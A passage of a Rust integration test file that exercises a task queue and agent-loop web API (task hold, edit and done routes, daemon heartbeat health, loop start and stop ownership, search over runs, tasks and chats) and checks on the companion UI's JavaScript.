17602 .as_str()
17603 .is_some_and(|e| e.contains("running")),
17604 "{}",
17605 res.body
17606 );
17607 assert_eq!(
17608 queue.get(&task.id).expect("reload").instruction,
17609 "do not touch",
17610 "the refused edit must not change the file"
17611 );
17612 }
17613
17614 #[tokio::test]
17615 async fn a_claimed_task_refuses_priority_and_edit_the_same_way_it_refuses_hold() {
17616 let f = Fixture::start().await;
17617 let queue = f.queue();
17618 let mut task = Task::new(
17619 "busy".to_owned(),
17620 "Running right now".to_owned(),
17621 PathBuf::from("/repo/magi"),
17622 Source::Human,
17623 );
17624 queue.put(&mut task).expect("file the task");
17625 let _claim = queue.claim(&task.id).expect("stand in for the daemon");
17626
17627 let priority = f
17628 .post(
17629 &format!("/api/queue/{}/priority", task.id),
17630 Some(r#"{"priority":9}"#),
17631 )
17632 .await;
17633 assert_eq!(priority.status, 409, "{}", priority.body);
17634
17635 let edit = f
17636 .post(
17637 &format!("/api/queue/{}/edit", task.id),
17638 Some(r#"{"title":"x","instruction":"y"}"#),
17639 )
17640 .await;
17641 assert_eq!(edit.status, 409, "{}", edit.body);
17642 }
17643
17644 #[tokio::test]
17645 async fn done_from_the_phone_keeps_runs_source_and_created_at_unlike_delete() {
17646 let f = Fixture::start().await;
17647 let queue = f.queue();
17648 let mut task = Task::new(
17649 "shipped by hand".to_owned(),
17650 "merged outside the loop".to_owned(),
17651 PathBuf::from("/repo/magi"),
17652 Source::Agent {
17653 run: "20260101-000000-b455".to_owned(),
17654 node: "implement".to_owned(),
17655 },
17656 );
17657 task.runs.push("20260101-000000-b455".to_owned());
17658 task.runs.push("20260101-000000-9af4".to_owned());
17659 queue.put(&mut task).expect("file the task");
17660 let created_at = task.created_at;
17661
17662 let done = f.post(&format!("/api/queue/{}/done", task.id), None).await;
17663 assert_eq!(done.status, 200, "{}", done.body);
17664 assert_eq!(done.json()["status_str"], "done");
17665
17666 let reloaded = queue.get(&task.id).expect("a done task is still on disk");
17667 assert_eq!(
17668 reloaded.runs,
17669 ["20260101-000000-b455", "20260101-000000-9af4"]
17670 );
17671 assert_eq!(
17672 reloaded.source,
17673 Source::Agent {
17674 run: "20260101-000000-b455".to_owned(),
17675 node: "implement".to_owned(),
17676 }
17677 );
17678 assert_eq!(reloaded.created_at, created_at);
17679 }
17680
17681 #[tokio::test]
17682 async fn closing_a_held_task_as_done_from_the_phone_clears_its_hold_reason() {
17683 let f = Fixture::start().await;
17688 let queue = f.queue();
17689 let mut task = Task::new(
17690 "landed while held".to_owned(),
17691 "x".to_owned(),
17692 PathBuf::from("/repo/magi"),
17693 Source::Human,
17694 );
17695 task.hold_manual(Some("waiting on 3ed9".to_owned()));
17696 queue.put(&mut task).expect("file the held task");
17697
17698 let done = f.post(&format!("/api/queue/{}/done", task.id), None).await;
17699 assert_eq!(done.status, 200, "{}", done.body);
17700 assert_eq!(done.json()["status_str"], "done");
17701 assert!(
17702 done.json()["hold_reason"].is_null(),
17703 "a done task cannot still be waiting on something: {}",
17704 done.body
17705 );
17706 }
17707
17708 #[tokio::test]
17709 async fn done_from_the_phone_supersedes_an_earlier_blocked_attempt() {
17710 let f = Fixture::start().await;
17715 let queue = f.queue();
17716 let runs = f.runs();
17717 write_run(&runs, "20260101-000000-doa1", RunStatus::Blocked);
17718 write_run(&runs, "20260101-000000-doa2", RunStatus::Merged);
17722
17723 let mut task = Task::new(
17724 "landed by hand".to_owned(),
17725 "x".to_owned(),
17726 PathBuf::from("/repo/magi"),
17727 Source::Human,
17728 );
17729 task.runs.push("20260101-000000-doa1".to_owned());
17730 task.runs.push("20260101-000000-doa2".to_owned());
17731 queue.put(&mut task).expect("file the task");
17732
17733 let done = f.post(&format!("/api/queue/{}/done", task.id), None).await;
17734 assert_eq!(done.status, 200, "{}", done.body);
17735
17736 let reloaded_run = read_run(&runs, "20260101-000000-doa1")
17737 .expect("run still on disk under this fixture's own home");
17738 assert_eq!(
17739 reloaded_run.status,
17740 RunStatus::Superseded,
17741 "closing the task by hand must relabel the earlier blocked attempt exactly \
17742 like the loop's own settle path does"
17743 );
17744 }
17745
17746 #[tokio::test]
17747 async fn done_from_the_phone_does_not_supersede_when_the_last_attempt_never_landed() {
17748 let f = Fixture::start().await;
17753 let queue = f.queue();
17754 let runs = f.runs();
17755 write_run(&runs, "20260101-000000-dob1", RunStatus::Blocked);
17756 write_run(&runs, "20260101-000000-dob2", RunStatus::Failed);
17757
17758 let mut task = Task::new(
17759 "closed with nothing actually landed".to_owned(),
17760 "x".to_owned(),
17761 PathBuf::from("/repo/magi"),
17762 Source::Human,
17763 );
17764 task.runs.push("20260101-000000-dob1".to_owned());
17765 task.runs.push("20260101-000000-dob2".to_owned());
17766 queue.put(&mut task).expect("file the task");
17767
17768 let done = f.post(&format!("/api/queue/{}/done", task.id), None).await;
17769 assert_eq!(done.status, 200, "{}", done.body);
17770
17771 let reloaded_run = read_run(&runs, "20260101-000000-dob1")
17772 .expect("run still on disk under this fixture's own home");
17773 assert_eq!(
17774 reloaded_run.status,
17775 RunStatus::Blocked,
17776 "the last recorded attempt never landed, so the earlier one must not be \
17777 relabelled as superseded by it"
17778 );
17779 }
17780
17781 #[tokio::test]
17782 async fn unknown_ids_are_json_not_found_on_both_stores() {
17783 let f = Fixture::start().await;
17784
17785 let run = f.get("/api/runs/nosuchrun").await;
17786 let task = f.post("/api/queue/nosuchtask/hold", None).await;
17787
17788 assert_eq!(run.status, 404);
17789 assert_eq!(task.status, 404);
17790 assert!(
17791 run.json()["error"]
17792 .as_str()
17793 .is_some_and(|e| e.contains("run")),
17794 "the error names what was not found: {}",
17795 run.body
17796 );
17797 assert!(
17798 task.json()["error"]
17799 .as_str()
17800 .is_some_and(|e| e.contains("task")),
17801 "the error names what was not found: {}",
17802 task.body
17803 );
17804 }
17805
17806 #[tokio::test]
17807 async fn the_daemon_counts_as_running_only_while_its_heartbeat_is_fresh() {
17808 let f = Fixture::start().await;
17809
17810 let missing = f.get("/api/health").await.json();
17811 assert_eq!(missing["daemon"]["running"], false, "no file, no daemon");
17812
17813 write_daemon(
17814 f.home.path(),
17815 Timestamp::now() - jiff::SignedDuration::from_secs(60),
17816 );
17817 let stale = f.get("/api/health").await.json();
17818 assert_eq!(
17819 stale["daemon"]["running"], false,
17820 "a minute without a heartbeat is a dead daemon, not a busy one"
17821 );
17822 assert!(
17823 stale["daemon"]["stale_for_secs"]
17824 .as_i64()
17825 .is_some_and(|s| s >= 55),
17826 "staleness is reported so the UI can say how long: {stale}"
17827 );
17828
17829 write_daemon(f.home.path(), Timestamp::now());
17830 let fresh = f.get("/api/health").await.json();
17831 assert_eq!(fresh["daemon"]["running"], true);
17832 assert_eq!(fresh["daemon"]["idle"], false);
17833 assert_eq!(fresh["daemon"]["pid"], 4242);
17834 assert_eq!(fresh["daemon"]["completed"], 7);
17835 assert_eq!(
17836 fresh["daemon"]["current"][0]["task"],
17837 "20260902-140501-aaaa"
17838 );
17839 assert_eq!(fresh["version"], env!("CARGO_PKG_VERSION"));
17840 }
17841
17842 #[tokio::test]
17843 async fn the_loop_is_not_running_until_something_starts_it() {
17844 let f = Fixture::start().await;
17845
17846 let view = f.get("/api/loop").await.json();
17847 assert_eq!(view["running"], false);
17848 assert_eq!(
17849 view["owned"], false,
17850 "nobody owns a loop that does not exist: {view}"
17851 );
17852 assert_eq!(view["stopping"], false);
17853 assert_eq!(view["last_error"], Value::Null);
17854 assert_eq!(view["daemon"]["running"], false);
17855 assert_eq!(
17856 view["repo"], "/repo/magi",
17857 "the repository a start would use, named before it is started"
17858 );
17859 }
17860
17861 #[tokio::test]
17862 async fn starting_the_loop_runs_it_in_this_process_and_health_says_the_same() {
17863 let f = Fixture::start().await;
17864
17865 let res = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
17866 assert_eq!(res.status, 200, "{}", res.body);
17867 let view = res.json();
17868 assert_eq!(view["running"], true);
17869 assert_eq!(
17870 view["owned"], true,
17871 "the loop the UI started is the UI's own to stop: {view}"
17872 );
17873 assert_eq!(
17874 view["merge"],
17875 Value::Null,
17876 "no override was given, so each repository's own config decides"
17877 );
17878
17879 let health = f.get("/api/health").await.json();
17883 assert_eq!(health["loop"]["running"], true, "{health}");
17884 assert_eq!(health["loop"]["owned"], true, "{health}");
17885
17886 f.post("/api/loop", Some(r#"{"running":false}"#)).await;
17887 }
17888
17889 #[tokio::test]
17890 async fn a_second_start_is_refused_rather_than_racing_the_first_for_claims() {
17891 let f = Fixture::start().await;
17892 let first = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
17893 assert_eq!(first.status, 200, "{}", first.body);
17894
17895 let again = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
17896 assert_eq!(
17897 again.status, 409,
17898 "two loops on one queue race for the same claims: {}",
17899 again.body
17900 );
17901 assert!(
17902 again.json()["error"]
17903 .as_str()
17904 .is_some_and(|e| e.contains("already running the loop")),
17905 "the refusal has to say why: {}",
17906 again.body
17907 );
17908 assert_eq!(
17909 f.get("/api/loop").await.json()["running"],
17910 true,
17911 "and the loop that was already running is untouched by it"
17912 );
17913
17914 f.post("/api/loop", Some(r#"{"running":false}"#)).await;
17915 }
17916
17917 #[tokio::test]
17918 async fn stopping_answers_at_once_and_the_loop_settles_stopped() {
17919 let f = Fixture::start().await;
17920 f.post("/api/loop", Some(r#"{"running":true}"#)).await;
17921
17922 let res = f.post("/api/loop", Some(r#"{"running":false}"#)).await;
17923 assert_eq!(
17924 res.status, 200,
17925 "the answer must not wait for the loop: a run in flight is tens of \
17926 minutes and the operator is holding a phone: {}",
17927 res.body
17928 );
17929
17930 let view = settled(&f, |v| v["running"] == false).await;
17931 assert_eq!(view["owned"], false);
17932 assert_eq!(
17933 view["stopping"], false,
17934 "a loop that has stopped is not still stopping: {view}"
17935 );
17936 assert_eq!(
17937 view["last_error"],
17938 Value::Null,
17939 "a loop that was asked to stop did not fail: {view}"
17940 );
17941
17942 let twice = f.post("/api/loop", Some(r#"{"running":false}"#)).await;
17945 assert_eq!(twice.status, 200, "{}", twice.body);
17946 }
17947
17948 #[tokio::test]
17949 async fn a_loop_another_process_owns_can_be_neither_started_nor_stopped_here() {
17950 let f = Fixture::start().await;
17951 write_daemon(f.home.path(), Timestamp::now());
17954
17955 let view = f.get("/api/loop").await.json();
17956 assert_eq!(view["running"], false, "not in this process: {view}");
17957 assert_eq!(view["owned"], false, "and not this process's to control");
17958 assert_eq!(
17959 view["daemon"]["running"], true,
17960 "but a loop is alive somewhere, which is what the UI must say"
17961 );
17962 assert_eq!(view["daemon"]["pid"], 4242);
17963
17964 for body in [r#"{"running":true}"#, r#"{"running":false}"#] {
17965 let res = f.post("/api/loop", Some(body)).await;
17966 assert_eq!(
17967 res.status, 409,
17968 "neither button may pretend to work on someone else's loop: {}",
17969 res.body
17970 );
17971 assert!(
17972 res.json()["error"]
17973 .as_str()
17974 .is_some_and(|e| e.contains("4242")),
17975 "the refusal has to name the process the operator must go to: {}",
17976 res.body
17977 );
17978 }
17979 assert_eq!(
17980 f.get("/api/loop").await.json()["running"],
17981 false,
17982 "and the refusal started nothing"
17983 );
17984 }
17985
17986 #[tokio::test]
17987 async fn a_stale_status_file_is_not_a_foreign_owner() {
17988 let f = Fixture::start().await;
17989 write_daemon(
17990 f.home.path(),
17991 Timestamp::now() - jiff::SignedDuration::from_secs(60),
17992 );
17993
17994 let res = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
17995 assert_eq!(
17996 res.status, 200,
17997 "a daemon killed a minute ago must not lock the loop out of its \
17998 own home for good: {}",
17999 res.body
18000 );
18001 assert_eq!(res.json()["running"], true);
18002
18003 f.post("/api/loop", Some(r#"{"running":false}"#)).await;
18004 }
18005
18006 #[tokio::test]
18007 async fn loop_rev_moves_on_a_start_so_a_phone_learns_without_polling() {
18008 let f = Fixture::start().await;
18009 let before = f.get("/api/health").await.json()["loop_rev"]
18010 .as_u64()
18011 .expect("a loop revision");
18012
18013 f.post("/api/loop", Some(r#"{"running":true}"#)).await;
18014
18015 let after = f.get("/api/health").await.json()["loop_rev"]
18016 .as_u64()
18017 .expect("a loop revision");
18018 assert!(
18019 after > before,
18020 "the loop is in-process state, so this counter is the only thing \
18021 that tells a second device the first one started it: {before} -> \
18022 {after}"
18023 );
18024
18025 f.post("/api/loop", Some(r#"{"running":false}"#)).await;
18026 }
18027
18028 #[tokio::test]
18029 async fn a_loop_that_failed_says_why_and_does_not_read_as_running() {
18030 let f = Fixture::with_loop(launch_broken).await;
18031
18032 let res = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
18033 assert_eq!(
18034 res.status, 200,
18035 "starting it is not the failure: {}",
18036 res.body
18037 );
18038
18039 let view = settled(&f, |v| v["last_error"].is_string()).await;
18040 assert_eq!(
18041 view["running"], false,
18042 "a loop that died must not read as running, or the operator has \
18043 nothing to press: {view}"
18044 );
18045 assert_eq!(view["owned"], false);
18046 assert!(
18047 view["last_error"]
18048 .as_str()
18049 .is_some_and(|e| e.contains("read-only file system")),
18050 "the phone is where a loop that died at 3am is visible: {view}"
18051 );
18052
18053 let again = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
18056 assert_eq!(again.status, 200, "{}", again.body);
18057 assert!(
18058 again.json()["last_error"]
18059 .as_str()
18060 .is_none_or(|e| !e.contains("read-only file system")),
18061 "a fresh start does not keep showing why the last one died: {}",
18062 again.body
18063 );
18064 }
18065
18066 #[tokio::test]
18067 async fn a_newer_daemon_status_file_still_renders() {
18068 let f = Fixture::start().await;
18069 std::fs::write(
18072 f.home.path().join("daemon.json"),
18073 serde_json::json!({
18074 "schema": 2,
18075 "updated_at": Timestamp::now().to_string(),
18076 "idle": true,
18077 "surprise": { "nested": [1, 2, 3] },
18078 })
18079 .to_string(),
18080 )
18081 .expect("write daemon.json");
18082
18083 let health = f.get("/api/health").await;
18084
18085 assert_eq!(health.status, 200);
18086 assert_eq!(health.json()["daemon"]["running"], true);
18087 }
18088
18089 #[tokio::test]
18090 async fn a_corrupt_run_is_skipped_in_the_list_and_explained_on_its_own_route() {
18091 let f = Fixture::start().await;
18092 write_run(&f.runs(), "20260902-140501-good", RunStatus::Ready);
18093 let broken = f.runs().join("20260902-140502-bad");
18094 std::fs::create_dir_all(&broken).expect("run dir");
18095 std::fs::write(broken.join("run.json"), "{ truncated").expect("write run.json");
18096
18097 let list = f.get("/api/runs").await;
18098 let detail = f.get("/api/runs/20260902-140502-bad").await;
18099
18100 assert_eq!(list.status, 200);
18101 let listed = list.json();
18102 let ids: Vec<&str> = listed
18103 .as_array()
18104 .expect("an array")
18105 .iter()
18106 .map(|r| r["id"].as_str().expect("an id"))
18107 .collect();
18108 assert_eq!(
18109 ids,
18110 vec!["20260902-140501-good"],
18111 "one unreadable run must not cost the operator the whole history"
18112 );
18113 assert_eq!(detail.status, 500);
18114 assert!(
18115 detail.json()["error"]
18116 .as_str()
18117 .is_some_and(|e| e.contains("run.json")),
18118 "the failure names the file to look at: {}",
18119 detail.body
18120 );
18121 let health = f.get("/api/health").await;
18125 assert_eq!(health.json()["runs_unreadable"], 1);
18126 }
18127
18128 #[tokio::test]
18130 async fn search_finds_nested_run_text_ands_terms_and_counts_unreadable() {
18131 let f = Fixture::start().await;
18132 let runs = f.runs();
18133 write_run(&runs, "20260902-140501-aaaa", RunStatus::Merged);
18134 write_run(&runs, "20260902-140502-bbbb", RunStatus::Merged);
18135 let path = runs.join("20260902-140502-bbbb").join("run.json");
18138 let mut v: serde_json::Value =
18139 serde_json::from_str(&std::fs::read_to_string(&path).unwrap()).unwrap();
18140 v["legacy"] = serde_json::json!({ "rounds": [{ "finding": { "text": "The Quokka leaks\nacross threads" } }] });
18141 std::fs::write(&path, v.to_string()).unwrap();
18142 std::fs::create_dir_all(runs.join("20260902-140503-cccc")).unwrap();
18143 std::fs::write(
18144 runs.join("20260902-140503-cccc").join("run.json"),
18145 "{ not json",
18146 )
18147 .unwrap();
18148
18149 let res = f.get("/api/search?scope=runs&q=quokka").await;
18150 assert_eq!(res.status, 200, "{}", res.body);
18151 let v = res.json();
18152 assert_eq!(v["total"], 1, "{v}");
18153 assert_eq!(v["hits"][0]["id"], "20260902-140502-bbbb");
18154 assert_eq!(v["hits"][0]["field"], "text");
18155 assert_eq!(v["unreadable"], 1, "an unparsable run is counted: {v}");
18156 let parts = v["hits"][0]["snippet"].as_array().unwrap();
18157 assert!(
18158 parts
18159 .iter()
18160 .any(|p| p["hit"] == true && p["text"] == "Quokka"),
18161 "{v}"
18162 );
18163 let flat: String = parts.iter().map(|p| p["text"].as_str().unwrap()).collect();
18164 assert_eq!(
18165 flat, "The Quokka leaks across threads",
18166 "whitespace is collapsed"
18167 );
18168
18169 let both = f
18171 .get("/api/search?scope=runs&q=MOBILE%20quokka")
18172 .await
18173 .json();
18174 assert_eq!(both["total"], 1, "{both}");
18175 let neither = f
18176 .get("/api/search?scope=runs&q=quokka%20zebra")
18177 .await
18178 .json();
18179 assert_eq!(neither["total"], 0, "{neither}");
18180 let stmt = f
18182 .get("/api/search?scope=runs&q=mobile%20first")
18183 .await
18184 .json();
18185 assert_eq!(stmt["total"], 2, "{stmt}");
18186 let by_id = f.get("/api/search?scope=runs&q=140501-aaaa").await.json();
18187 assert_eq!(by_id["hits"][0]["id"], "20260902-140501-aaaa", "{by_id}");
18188 }
18189
18190 #[test]
18191 fn snippet_ignores_terms_longer_than_the_field() {
18192 let terms = ["ok".to_owned(), "elephant".to_owned()];
18193 let parts = snippet_of("ok", &terms);
18194 assert_eq!(
18195 parts,
18196 vec![SnippetPart {
18197 text: "ok".to_owned(),
18198 hit: true
18199 }]
18200 );
18201 }
18202
18203 #[test]
18204 fn snippet_marks_matches_longer_than_the_window() {
18205 let cap = SNIPPET_BEFORE + SNIPPET_AFTER + 2;
18206 let hit_len = |parts: &[SnippetPart]| -> usize {
18207 parts
18208 .iter()
18209 .filter(|p| p.hit)
18210 .map(|p| p.text.chars().count())
18211 .sum()
18212 };
18213 let total =
18214 |parts: &[SnippetPart]| -> usize { parts.iter().map(|p| p.text.chars().count()).sum() };
18215
18216 let long = "a".repeat(120);
18217 let parts = snippet_of(&long, std::slice::from_ref(&long));
18218 assert!(hit_len(&parts) > 0, "{parts:?}");
18219 assert!(total(&parts) <= cap);
18220
18221 let ja = "あ".repeat(130);
18222 let parts = snippet_of(&ja, std::slice::from_ref(&ja));
18223 assert!(hit_len(&parts) > 0, "{parts:?}");
18224 assert!(total(&parts) <= cap);
18225
18226 let text = format!("ab {} ab{}", "x".repeat(90), "c".repeat(100));
18228 let term = format!("ab{}", "c".repeat(100));
18229 let parts = snippet_of(&text, &["ab ".to_owned(), term]);
18230 assert!(parts.iter().filter(|p| p.hit).count() >= 2, "{parts:?}");
18231 assert!(total(&parts) <= cap);
18232
18233 let text = format!("{}z", "a".repeat(119));
18235 let parts = snippet_of(&text, &["a".repeat(120)]);
18236 assert_eq!(hit_len(&parts), 0, "{parts:?}");
18237 }
18238
18239 #[tokio::test]
18240 async fn search_caps_hits_and_snippet_length() {
18241 let f = Fixture::start().await;
18242 let runs = f.runs();
18243 for n in 0..(SEARCH_MAX_HITS + 5) {
18244 write_run(&runs, &format!("20260902-140501-{n:04}"), RunStatus::Merged);
18245 }
18246 let v = f.get("/api/search?scope=runs&q=web").await.json();
18247 assert_eq!(v["hits"].as_array().unwrap().len(), SEARCH_MAX_HITS);
18248 assert_eq!(v["total"], SEARCH_MAX_HITS + 5);
18249 assert_eq!(v["truncated"], true);
18250 assert!(
18252 v["hits"]
18253 .as_array()
18254 .unwrap()
18255 .iter()
18256 .all(|h| h["run"]["status"] == "merged")
18257 );
18258
18259 let long = format!("{}needle{}", "x".repeat(5000), "y".repeat(5000));
18260 let parts = snippet_of(&long, &["needle".to_owned()]);
18261 let len: usize = parts.iter().map(|p| p.text.chars().count()).sum();
18262 assert!(len <= SNIPPET_BEFORE + SNIPPET_AFTER + 2, "{len}");
18263 assert!(parts.iter().any(|p| p.hit && p.text == "needle"));
18264 }
18265
18266 #[tokio::test]
18267 async fn search_tasks_reads_every_field_and_rejects_bad_requests() {
18268 let f = Fixture::start().await;
18269 let queue = f.queue();
18270 let mut t = Task::new(
18271 "short title".to_owned(),
18272 "line one\nthe hidden Armadillo detail".to_owned(),
18273 PathBuf::from("/repo/magi"),
18274 Source::Agent {
18275 run: "r1".to_owned(),
18276 node: "chat".to_owned(),
18277 },
18278 );
18279 t.last_error = Some("disk full on /tmp".to_owned());
18280 queue.put(&mut t).expect("file the task");
18281
18282 for (q, want) in [
18283 ("armadillo", 1),
18284 ("disk%20FULL", 1),
18285 ("chat", 1),
18286 ("queued", 1),
18287 ("short%20nothing", 0),
18288 ] {
18289 let v = f
18290 .get(&format!("/api/search?scope=tasks&q={q}"))
18291 .await
18292 .json();
18293 assert_eq!(v["total"], want, "{q}: {v}");
18294 }
18295 for bad in [
18296 "/api/search?scope=tasks&q=",
18297 "/api/search?scope=tasks&q=%20",
18298 "/api/search?scope=chats&q=",
18299 "/api/search?scope=chats&q=%20",
18300 "/api/search?scope=nope&q=a",
18301 "/api/search?q=a",
18302 ] {
18303 assert_eq!(f.get(bad).await.status, 400, "{bad}");
18304 }
18305 }
18306
18307 fn write_talk(f: &Fixture, id: &str, status: &str, turns: &[(&str, &str)]) {
18309 let seat = serde_json::to_value(crate::agent::SeatState::new("talk", "claude", 1))
18310 .expect("seat value");
18311 let turns: Vec<serde_json::Value> = turns
18312 .iter()
18313 .map(|(who, body)| {
18314 serde_json::json!({"who": who, "body": body, "at": "2026-09-01T00:00:00Z"})
18315 })
18316 .collect();
18317 let doc = serde_json::json!({
18318 "schema": 1, "id": id, "repo": "/SecretRepoPath", "agent": "claude-agent",
18319 "status": status, "turns": turns,
18320 "created_at": "2026-09-01T00:00:00Z", "updated_at": "2026-09-01T00:00:00Z",
18321 "seat": seat,
18322 });
18323 let dir = f.home.path().join("talks");
18324 std::fs::create_dir_all(&dir).expect("talks dir");
18325 std::fs::write(dir.join(format!("{id}.json")), doc.to_string()).expect("write talk");
18326 }
18327
18328 #[test]
18329 fn chat_search_prefers_the_saved_title_and_keeps_the_transcript() {
18330 let mut talk: Talk = serde_json::from_value(serde_json::json!({
18331 "schema": 1, "id": "20260908-205806-ab12", "repo": ".", "agent": "test",
18332 "status": "open", "turns": [{"who":"operator", "body":"古い話題", "at":"2026-09-08T20:58:02Z"}],
18333 "created_at": "2026-09-08T20:58:02Z", "updated_at": "2026-09-08T20:58:02Z",
18334 "seat": crate::agent::SeatState::new("talk", "test", 1)
18335 })).unwrap();
18336 assert_eq!(talk_search_doc(&talk)["title"], "古い話題");
18337 talk.title = Some(talk::ChatTitle {
18338 text: "最近の話題".into(),
18339 source: talk::TitleSource::Generated,
18340 });
18341 let doc = talk_search_doc(&talk);
18342 assert_eq!(doc["title"], "最近の話題");
18343 assert_eq!(doc["turns"][0]["operator"], "古い話題");
18344 talk.title.as_mut().unwrap().source = talk::TitleSource::Manual;
18345 assert_eq!(talk_search_doc(&talk)["title"], "最近の話題");
18346 }
18347
18348 #[tokio::test]
18349 async fn search_chats_reads_title_and_turns_and_counts_unreadable() {
18350 let f = Fixture::start().await;
18351 write_talk(
18352 &f,
18353 "20260901-000001-aaaa",
18354 "open",
18355 &[
18356 (
18357 "operator",
18358 "\n Why does the Pangolin cache expire?\nsecond line",
18359 ),
18360 ("agent", "Because the TTL is thirty seconds."),
18361 ],
18362 );
18363 write_talk(
18364 &f,
18365 "20260901-000002-bbbb",
18366 "closed",
18367 &[("operator", "unrelated"), ("agent", "The Zebra moved on.")],
18368 );
18369 std::fs::write(f.home.path().join("talks/broken.json"), "{ nope").expect("broken");
18370
18371 let search = |q: &'static str| {
18372 let f = &f;
18373 async move {
18374 f.get(&format!("/api/search?scope=chats&q={q}"))
18375 .await
18376 .json()
18377 }
18378 };
18379
18380 let v = search("PANGOLIN").await;
18381 assert_eq!(v["scope"], "chats");
18382 assert_eq!(v["total"], 1, "{v}");
18383 assert_eq!(v["hits"][0]["id"], "20260901-000001-aaaa");
18384 assert_eq!(v["hits"][0]["field"], "title");
18385 assert_eq!(v["unreadable"], 1, "{v}");
18386 let marked: Vec<&str> = v["hits"][0]["snippet"]
18387 .as_array()
18388 .unwrap()
18389 .iter()
18390 .filter(|p| p["hit"] == true)
18391 .map(|p| p["text"].as_str().unwrap())
18392 .collect();
18393 assert_eq!(marked, ["Pangolin"]);
18394
18395 let v = search("zebra").await;
18397 assert_eq!(v["total"], 1, "{v}");
18398 assert_eq!(v["hits"][0]["field"], "agent");
18399 assert_eq!(search("pangolin%20thirty").await["total"], 1);
18401 assert_eq!(search("pangolin%20zebra").await["total"], 0);
18402 for q in ["claude-agent", "SecretRepoPath", "open", "closed"] {
18404 assert_eq!(search(q).await["total"], 0, "{q}");
18405 }
18406 assert_eq!(search("second").await["hits"][0]["field"], "operator");
18408 assert_eq!(search("the").await["hits"][0]["id"], "20260901-000001-aaaa");
18410
18411 let v = f.get("/api/search?scope=nope&q=a").await;
18412 assert_eq!(v.status, 400);
18413 assert!(
18414 v.body.contains("scope must be runs, tasks or chats"),
18415 "{}",
18416 v.body
18417 );
18418 }
18419
18420 #[test]
18421 fn a_question_card_links_a_task_id_to_the_task_page() {
18422 let start = APP_JS
18423 .find("function updateAskCard(")
18424 .expect("updateAskCard exists");
18425 let body = &APP_JS[start..];
18426 let body = &body[..body.find("\n}\n").expect("function end")];
18427 assert!(body.contains("question.run_is_task"));
18428 assert!(body.contains("`#/tasks/${encodeURIComponent(question.run)}`"));
18429 assert!(body.contains("`#/runs/${question.run}`"));
18430 assert!(body.contains("\"task\" : \"run\""));
18431 }
18432
18433 #[test]
18434 fn plain_text_message_surfaces_go_through_linkify() {
18435 assert!(APP_JS.contains("function linkify("));
18436 assert!(!APP_JS.contains("class: \"event-msg\", text:"));
18437 assert!(!APP_JS.contains("class: \"notice-msg\", text:"));
18438 assert!(APP_JS.contains("linkify(el(\"span\", { class: \"event-msg\" })"));
18439 assert!(APP_JS.contains("linkify(el(\"div\", { class: \"notice-msg\" })"));
18440 assert!(!APP_JS.contains("innerHTML = text"));
18441 }
18442
18443 #[test]
18444 fn implementation_rate_views_keep_independent_samples() {
18445 for (competitive_n, solo_n) in [(0, 0), (9, 10), (10, 9)] {
18446 let a = stats::AgentStats {
18447 competitive_entered: competitive_n,
18448 competitive_wins: usize::from(competitive_n > 0),
18449 solo_entered: solo_n,
18450 solo_adopted: 2 * usize::from(solo_n > 0),
18451 ..Default::default()
18452 };
18453 let v = serde_json::to_value(AgentStatsView::from(&a)).unwrap();
18454 for (key, n, numerator) in [
18455 ("competitive_win_rate", competitive_n, a.competitive_wins),
18456 ("solo_adoption_rate", solo_n, a.solo_adopted),
18457 ] {
18458 if n == 0 {
18459 assert!(v[key].is_null());
18460 } else {
18461 assert_eq!(v[key]["denominator"], n);
18462 assert_eq!(v[key]["pct"], 100.0 * numerator as f64 / n as f64);
18463 }
18464 }
18465 }
18466 assert!(APP_JS.contains("rate: a.competitive_win_rate"));
18467 assert!(APP_JS.contains("rate: a.solo_adoption_rate"));
18468 assert!(APP_JS.contains("r.rate.denominator < STATS_LOW_N"));
18469 assert!(APP_JS.contains("const STATS_LOW_N = 10;"));
18470 }
18471
18472 #[test]
18473 fn stats_bars_share_one_id_keyed_plan() {
18474 let start = APP_JS
18475 .find("function statsBarRows(")
18476 .expect("statsBarRows exists");
18477 let body = &APP_JS[start..];
18478 let body = &body[..body.find("\n}\n").expect("function end")];
18479 assert!(body.contains("statsBarPlan(rows)"));
18480 assert!(body.contains("statsAgentTone(row.agent)"));
18481 assert!(!body.contains("candTone(i)"));
18482 assert!(APP_JS.contains("const STATS_LOW_N = 10;"));
18483 for root in [
18484 "stats-agents-bars",
18485 "stats-solo-bars",
18486 "stats-reviewers-bars",
18487 ] {
18488 assert!(APP_JS.contains(&format!("statsBarRows($(\"{root}\")")));
18489 }
18490 }
18491
18492 #[test]
18493 fn the_precision_scatter_is_a_pure_plan_in_the_agents_colour() {
18494 let start = APP_JS
18495 .find("function renderStatsReviewerScatter(")
18496 .expect("renderStatsReviewerScatter exists");
18497 let body = &APP_JS[start..];
18498 let body = &body[..body.find("\n}\n").expect("function end")];
18499 assert!(body.contains("statsScatterPlan(reviewers)"));
18500 assert!(body.contains("statsAgentTone(d.agent)"));
18501 assert!(APP_JS.contains("function statsScatterPlan("));
18502 assert!(
18503 APP_JS.contains("d.submitted < STATS_LOW_N")
18504 || APP_JS.contains("r.submitted < STATS_LOW_N")
18505 );
18506 assert!(INDEX_HTML.contains("id=\"stats-reviewers-scatter\""));
18507 assert!(APP_CSS.contains(".precision-scatter"));
18508 }
18509
18510 #[test]
18511 fn advisor_reflection_is_drawn_as_stacked_segments() {
18512 assert!(APP_JS.contains("statsReflectionRows($(\"stats-advisors-bars\")"));
18513 assert!(APP_JS.contains("const STATS_SEG_MIN = 4;"));
18514 let html = include_str!("../assets/ui/index.html");
18515 assert!(html.contains("Approximate"));
18516 for label in ["reflected strongly", "faint", "no proposal"] {
18517 assert!(html.contains(label));
18518 }
18519 let css = include_str!("../assets/ui/app.css");
18520 for c in ["refl-strong", "refl-faint", "refl-absent"] {
18521 assert!(css.contains(&format!(".{c} {{")));
18522 }
18523 }
18524
18525 #[test]
18526 fn stats_daily_chart_is_planned_purely_and_rendered_from_the_api() {
18527 assert!(APP_JS.contains("function statsDailyPlan("));
18528 assert!(APP_JS.contains("renderStatsDaily(s.daily)"));
18529 assert!(INDEX_HTML.contains("id=\"stats-daily\""));
18530 }
18531
18532 #[test]
18533 fn a_keystroke_invalidates_the_search_reply_still_in_flight() {
18534 let start = APP_JS
18535 .find("function scheduleSearch(")
18536 .expect("scheduleSearch exists");
18537 let body = &APP_JS[start..];
